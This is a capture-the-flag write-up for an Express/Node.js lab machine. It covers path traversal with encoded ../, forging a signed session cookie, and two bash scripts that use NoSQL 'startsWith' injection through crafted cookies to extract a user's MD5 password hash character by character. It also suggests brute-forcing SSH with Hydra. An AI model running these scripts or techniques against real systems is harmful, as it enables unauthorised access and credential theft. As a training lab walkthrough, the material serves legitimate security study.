by just using encoded ../ to url ,you will be able to bypass the filter and get Path Traversal ,but its restrectid to only webapp root directory which is 'app' in this case as is the running on express node.js web application.
as we can see we have two cookies ,token and its signature
we use the same token header to forge our own modified token
We can see that it was uploaded by Wesley, who has the user ID 1. Now we have two options: we can attempt to brute-force Wesley's SSH password using Hydra, or we can extract the MD5 hash of the user password through a NoSQL attack by targeting the password field.
#AFK-PATH
#Hardcore PATH
we can modify our token using contains to confirm if the md5 hash password contain "f" char
if you are able to see the user uploaded file ,that's mean its positive and the hash contains f char within it.
Now we try the "x" char which is not exist in the hash and lets check the respond
Now we are able to use 'startsWith' statment to dumb the full hash from beginning to end ,MD5 hash contains 32 char ,so we need to bruteforce 32 char ,this is too much work and scripting this is a must ,so i made a simple bash script inspired from this glue wrapper code
#!/bin/sh
prevchar=''
while true; do
for char in {{a..z},{0..9}}; do
./test.sh ${prevchar}${char}
if [ $? -eq 0 ]; then
/bin/echo -n $char
prevchar=$prevchar$char
break
fi
done
done
i have spent much time writing and testing the code ,and improving it and finally got this
#!/bin/bash
fuzz_chars=({a..z} {0..9})
prefix=""
found=false
while [ ${#prefix} -lt 32 ]; do
for char in "${fuzz_chars[@]}"; do
# Generate the cookie value
cookie=$(cookie-monster -b --input-file <(echo "{\"user\":{\"id\":1,\"password\": {\"startsWith\": \"$pr>
# Send an HTTP request and check if "wesley" exists in the response
curl -s -H "Cookie: $cookie" download.htb/home | grep -q -i wesley
# Check the exit status of the previous command
if [ $? -eq 0 ]; then
echo "Success: Start extracting the hash Value= '$prefix$char'."
prefix="$prefix$char"
found=true
break
fi
done
if [ "$found" = false ]; then
break
fi
found=false
done